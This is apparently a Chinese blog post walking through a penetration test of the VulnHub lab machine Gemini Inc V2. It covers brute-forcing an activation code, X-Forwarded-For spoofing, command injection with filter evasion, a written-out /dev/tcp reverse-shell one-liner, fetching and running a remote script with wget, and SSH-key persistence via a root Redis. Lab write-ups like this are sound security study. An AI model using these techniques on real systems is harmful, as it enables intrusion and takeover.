Gemini Inc V2 渗透测试笔记

最近发现了https://www.vulnhub.com/这个网站,里面有很多用于渗透测试的镜像。这几天对Gemini IncV2进行了一下渗透测试,做一下笔记。

主机发现

由于我们是安装在本地VM虚拟机的,其中的192.168.246.132就应该是我们的目标主机了。我们再扫描它的服务

linux系统,开放了80端口,浏览器访问一下。

Web渗透

爆破

随便扫一扫web目录,发现有inc/、img/、admin/等目录可以遍历文件,但没有发现文件的泄露。还扫到registration.php注册和activate.php。

我们先进行注册,登录进去再看看有什么漏洞。注册登录

看来activate.php就是用来激活的。

主页链接随便点一点就能得到Uid

按照上面的说法,激活码只有6位数字,那么我们就可以尝试爆破。

 

激活码为000511,登录进去可以看到用户列表,Gemini是管理员用户,点进去查看源代码居然能看到密码TAT,

解密可得管理员用户密码为secretpassword,登录管理员账号,发现多了一个Admin Panel,其中有一个Execute Command,猜测是命令注入,点进去返回403,抓包发现IP not allowed

改X-Forwarded-For 为127.0.0.1,成功进入

命令注入

Fuzz过后发现过滤了空格、(、)、|、> 、&  我们现在想反弹一个shell,一般我们可以直接bash -i >& /dev/tcp/10.133.1.79/4444 0>&1  空格可以用$IFS(代表\t\n)代替,但是>、&都被过滤了。 我们可以把命令挂在自己的vps上,然后通过curl、GET、或者wget命令下载下来然后bash执行。

亲测curl命令被作者去除了,因为过滤了|所以我们使用wget。成功反弹shell

 

获取稳定shell

这样拿到的shell非常不稳定,这时我们可以向/home/gemini1/.ssh/authorized_keys  中写入我们自己的ssh公钥,那么这样就可以ssh无密码登录了。

在/home/gemini1/目录创建文件夹.ssh ,进入并执行语句 echo “你的ssh公钥” >authorized_keys

这样就可以通过ssh登录啦

提权

最后一步就是提权了。首先我在/var/www/html/inc/settings.php 发现了mysql的账号密码(TAT不但没登进去,而且发现还没什么用)

和mysql纠缠很久无果。ps -ef 看了一下目标主机正在运行的软件,突然发现运行了redis,还是root权限运行的,那么我们就可以通过redis向root用户写入ssh公钥通过ssh登录root用户了!

redis提权

redis如何getshell在我以前的博客中讲了三种方法,在这里不太熟悉的同学可以回去看看Redis Getshell总结     

先尝试redis-cli登录,发现需要密码验证。既然我们已经渗透进来了,那么按照redis设置密码的方式,寻找redis配置文件,密码就在里面。

这时,我们在/etc/redis 中发现了配置文件 6379.conf

在最下面看到密码8a7b86a2cd89d96dfcc125ebcc0535e6

现在连接redis,按照我那篇博客的方法,将我们自己的公钥写入root用户就可以啦。

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注